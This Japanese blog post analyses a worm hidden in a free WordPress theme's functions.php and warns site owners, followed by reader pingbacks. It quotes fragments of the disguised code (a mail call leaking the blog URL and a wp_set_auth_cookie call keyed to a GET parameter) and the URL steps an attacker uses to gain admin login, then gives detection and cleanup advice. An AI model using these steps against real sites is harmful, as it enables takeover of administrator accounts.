Home > wordpress > [wp] Wordpressテーマのfunctions.phpに仕込まれるワームについて

[wp] Wordpressテーマのfunctions.phpに仕込まれるワームについて

配布されたテーマをアクティブにしたことがありますか?もしあるなら既に悪意あるコードが仕込まれているかもしれませんよ。

2chのWordPress (ワードプレス) その15 >>806 より

テーマの安全性のチェックとかってみなさんどうしてますか?

WPとテーマをいくつかいれてから、システム情報みてみたらメールキューがたまってた。
あれ?と思ってキューにたまってるメールみてみたら上記アドレスあてにブログのアドレスを送ろうとしてました。
OB25通る設定してないのでひっかかってたから助かりました。

送ってるファイルの正体はSimple Perfectというテーマのfunction.phpです。
http://kachibito.net/wordpress/free-high-quality-themes.htmlで紹介されてました。
該当アドレスが分割して組み込まれてました。送ろうとしていた情報はの一部は↓です。
457 >——-$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password,
comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,

Wordpress公式の配布サイトからだとこういうのはないんですかね。

私は質問先の【PHP】下らねぇ質問はID出して書き込みやがれ 95を見ていて知ったんだけど、
どうも日本ではまだマイナーなワームなようなので注意喚起ついでに晒してみようと思います。
結論を書きますと、自作でないテーマを1度でもアクティブにした事がある方は、今すぐに怪しいコードがfunctions.phpに仕込まれていないかチェックした方がいいということです。

そのテーマのfunctions.phpに記載されていた怪しい部分というのは以下の関数です。(等倍画像

 wordpress virus code

_getprepare_widget()という関数から始まるソースですが、中身をざっと見るとmoreタグがあったりして如何にもテーマ独自に出力をカスタマイズしている感じです。
悪意あるコードはこの中に物凄い巧妙に仕込まれているので、PHPに疎い人がこれを見ていたとしても乗っ取りだと見抜くのはまず不可能だと思われます。
テーマやプラグインを作った経験がある人でも、ありふれた中身なのでスルーしてしまうかもしれません。(気づくとしたら見た目の汚さの方が高いかも)

先の質問に、Webプログラミング板の方で付いていた解答はこうです。

457行目はメールアドレス埋め込むためのダミーかな
最終的に「$text_s」へメアドがセットされるんだと思う

次に483行目の$sq1へSQL文定義するとみせかけて回りくどく関数呼んでる
call_user_func_array($getcommtext, array($text_s, $f_home, $f_types))
これはwp_mail($text_s, $f_home, $f_types)と同義で
メアドにget_option(”home”)の値を本文としてメールを発射する処理

仕上げは532行目、上と同じ手段で次の処理を実行
@wp_set_auth_cookie( $_GET["cperpage"], true )
cperpageつうのは有りそうで無さそうな仕込みラベル
任意のIDをwp_set_auth_cookie()できるURLを集めるテーマって感じ?

wp_set_auth_cookie()
ttp://codex.wordpress.org/Function_Reference/wp_set_auth_cookie
どんな悪いことが出来るのか教えてエロい人

このレスを読めばWordpressとPHPに詳しい人ならピンとくるかもしれません。

テーマをアクティブにした際実行されるロジックは次の通りです。

  1. 変数sq1にSQL文を代入。と見せかけて実はメアドを仕込んだダミー
  2. その下に書かれた変数sh_contの設定で最初の変数sq1をstripos()してメアドだけを抜き出す。
  3. 二番目の変数sq1にSQL文を代入…と見せかけてcall_user_func_array()でブログのURLを載せたメールを送信
  4. 「続きを読む」リンク出力時に…と見せかけてcall_user_func_array()でwp_set_auth_cookie()を実行させる

続きを読むリンクとかパスワード制限されてるガイダンスとか出してるっぽく見えるけど、全部ダミーなので上記以外の事は何もしてません。

call_user_func_arrayはユーザーが引数で定義した関数を実行する関数です。
wp_set_auth_cookieは認証クッキーをセットする関数。

>>393
いったん管理画面に入ってログアウトしてログイン状態を切った後に
http://URL/?cperpage=1
にアクセスでブログトップが表示

そのあとにここへ
http://URL/wp-admin/

ちなみにログイン状態は2週間有効ぽい

メールを受け取ったハッカーが実行する手順は上記引用の通りです。
引用にあるGET値を感染テーマを使っているブログに送信すると、ブラウザに管理者がログインしている状態と同じクッキーが発行されるため、
wp-adminディレクトリへアクセスするだけでadminとしてログインできるようになるものです。
しかし何かしらPHPのエラーが出てログインできない場合もあります。
ログイン出来るものと出来ないものがあるのは、functions.phpの書き方によってエラーが出る場合があるためです。

ちなみに他の数字にすると数値に応じたユーザーIDのクッキーがセットされます。
cperpageは単に連想配列のキーでしかないので他の文字列に変異している場合がある。
ID1はadminである可能性が高いので狙い撃ちしやすい。

他のテーマのfunctions.phpもヤバい

質問レスでは見落とされているようですが、すぐ上にこんなコードもあるんですね(等倍画像

wordpressvirus2

_verifyactivate_widgets()など関数にWidgetと入っているので、テーマ独自のウィジェットか何かだと思うかもしれませんが、
やっぱりそれもダミーで実際はテーマディレクトリの走査とかをしてます。
感染したテーマを使用してしまった場合、このコードの影響で同じテーマディレクトリにある全てのテーマのfunctions.phpに同じワームが仕込まれてしまいます。
つまりこの質問者さんは既に実行してしまったので他のテーマも全部こいつに感染しているという事になります。

対策その他

どうもwp_set_auth_cookie関数が脆弱っぽい(といってもこの実行方法じゃ対策もしづらい)ので、
wp_set_auth_cookieを使う怪しいコードが紛れ込んでないかfunctions.phpをチェックするくらいしか根本的な対策はなさそう。
ユーザーIDで実行されるためadminを削除するのはあまり意味がないです。(感染に気づいた後なら有効)
他には、functions.phpにスペースを混ぜておくとか、ポート25ブロック(Outbound Port 25 Blocking)を行うとか、wp-mail()を無効にするとか、
GET値を見張ったり、wp-adminディレクトリのアクセスを制限することなどで実行を未然に防ぐことは出来そうです。

もし感染していたら、

  • Wordpress本体を上書き
  • プラグインの確認
  • テーマの確認
  • データベースの確認
  • .htaccessファイルの確認
  • ユーザーを登録しなおしてIDを変更する
  • 全ユーザーのパスワード変更

これくらいはしといた方がいいです。

質問に上がっていたテーマ作者が仕込んだというよりは、テーマ開発しているローカルのwordpressでワームに感染したテーマをアクティブにしてしまったため、
配布用のテーマにも感染→気づかないままzip配布っていう線じゃないかなと。
たとえ自作派だとしても、ちょっと感染テーマをアクティブにしてみただけでコードが仕込まれてしまうので油断できません。
Wordpress本体に感染するものと違い、ワーム配布者になってしまう可能性を秘めているのが恐ろしい所です。

悪意あるユーザーに管理者権限でログインされてしまった場合、管理画面から好き勝手やられ放題になってしまいます。
Wordpressを利用中の方はご注意ください。

このエントリをはてなブックマークに追加このエントリをdel.icio.usに追加このエントリをLivedoor Clipに追加このエントリをYahoo!ブックマークに追加このエントリをFC2ブックマークに追加このエントリをNifty Clipに追加このエントリをPOOKMARK. Airlinesに追加このエントリをBuzzurl(バザール)に追加このエントリをChoixに追加このエントリをnewsingに追加
  • Tags:

Comments:1

taxi to pattaya 11-07-18 (月) 5:15

ありがとう

Comment Form
Remember personal info

Trackbacks:14

Trackback URL for this entry
http://tenderfeel.xsrv.jp/wordpress/837/trackback/
Listed below are links to weblogs that reference
[wp] Wordpressテーマのfunctions.phpに仕込まれるワームについて from WebTecNote
pingback from WebTecNote – [wp] Wordpressテーマのfunctions.phpに仕込まれるワームについて | とっても! ちゅどん(雑記帳) 10-05-13 (木) 22:34

[...] WebTecNote – [wp] Wordpressテーマのfunctions.phpに仕込まれるワームについて [...]

pingback from 2010-5-10~2010-5-14のお気に入り* « WebPocket 10-05-14 (金) 13:00

[...] ●Wordpressテーマのfunctions.phpに仕込まれるワームについて http://tenderfeel.xsrv.jp/wordpress/837/ [...]

pingback from ITキヲスク | 過去に有名なサイトでも紹介されたWordPress無料テーマにワームが仕組まれているそうです。 10-05-17 (月) 17:21

[...] プログラム情報系ブログ「WebTecNote」さんにて、WordPressの無料配布テーマにワームが仕込まれてるかも、という記事が掲載されてます。 [...]

pingback from 2010/05/21 のつぶやきまとめ。 | はるはる。の徒然日記 10-05-21 (金) 9:06

[...] RT @motolevel: 怖い・・・RT @pop_and_life: 自作使用なので心配ないが、wordpressでテーマを利用している人はチェックされている方が良いかと思います。http://tenderfeel.xsrv.jp/wordpress/837/ #w … [hal09875] [...]

pingback from Wordpressテーマに仕込まれるワームについて | ちいさなめプロジェクト 10-05-23 (日) 15:25

[...] 「WebTecNote」さんが 「自作でないテーマを1度でもアクティブにした事がある方は、今すぐに怪しいコードがfunctions.phpに仕込まれていないかチェックした方がいい」 と注意喚起されてい [...]

trackback from ワードプレス馬鹿の「WordPressカスタマイズ日記」 10-05-24 (月) 9:15

<strong>無料テーマの導入には注意が必要</strong>

WordPressには無料で入手できるすばらしいテーマが沢山あります。 しかし、その中には「ワーム」と呼ばれるウィルスが仕込まれているものがあるらしい。(あくまで可能性ですが) チェ…

pingback from Wordpressテーマの危険性 « Rino Server Blog 10-05-28 (金) 18:12

[...] http://tenderfeel.xsrv.jp/wordpress/837/ [...]

pingback from [リンク] links for 2010/6/5~ | Bonnie styles. 10-06-27 (日) 22:00

[...] パート740 Real Time Saver Photoshop ActionsWebTecNote – [wp] WordPressテーマのfunctions.phpに仕込まれるワームについてPlugins | jQuery [...]

pingback from [リンク] links for 2010/6/1~ | Bonnie styles. 10-06-27 (日) 22:01

[...] パート740 Real Time Saver Photoshop ActionsWebTecNote – [wp] WordPressテーマのfunctions.phpに仕込まれるワームについてPlugins | jQuery [...]

pingback from セキュリティ、SEO関連のプラグイン « てふてふ堂 11-01-03 (月) 0:16

[...] ) ●WebTecNote – [wp] WordPressテーマのfunctions.phpに仕込まれるワームについて http://tenderfeel.xsrv.jp/wordpress/837/ ・被害はWPのパスワードなど管理画面から取得可能な情報を盗まれる等  ※WP [...]

pingback from WebTecNote – [wp] Wordpressテーマのfunctions.phpに仕込まれるワームについて | ひねもすのたり 11-01-05 (水) 22:44

[...] WebTecNote – [wp] WordPressテーマのfunctions.phpに仕込まれるワームについて. [...]

pingback from Wordpressテーマの危険性 | Rino Server Blog 11-03-11 (金) 15:15

[...] http://tenderfeel.xsrv.jp/wordpress/837/ [...]

pingback from ワードプレス 管理画面・・グーグルは、インターネット宇宙の中心に位置する | ワードプレスの説明書・ほんわかBEST 11-07-19 (火) 22:09

[...] WebTecNote – [wp] WordPressテーマのfunctions.phpに仕込まれるワ…ordpress (ワードプレス) その15 >>806 より テーマの安全性のチェックとかってみなさんどうしてますか? wpとテーマをいく [...]

pingback from ワードプレス ログインの帳尻 | ワードプレスの説明書・ほんわかBEST 11-07-20 (水) 8:34

[...] WebTecNote – [wp] WordPressテーマのfunctions.phpに仕込まれるワ…入ってログアウトしてログイン状態を切った後に http://url/?cperpage=1 にアクセスでブログトップが表示 そのあとにここへ htt [...]

Home > wordpress > [wp] Wordpressテーマのfunctions.phpに仕込まれるワームについて

最近の投稿
最近の修正
Tag Cloud
おすすめサーバー・他
メタ情報

Return to page top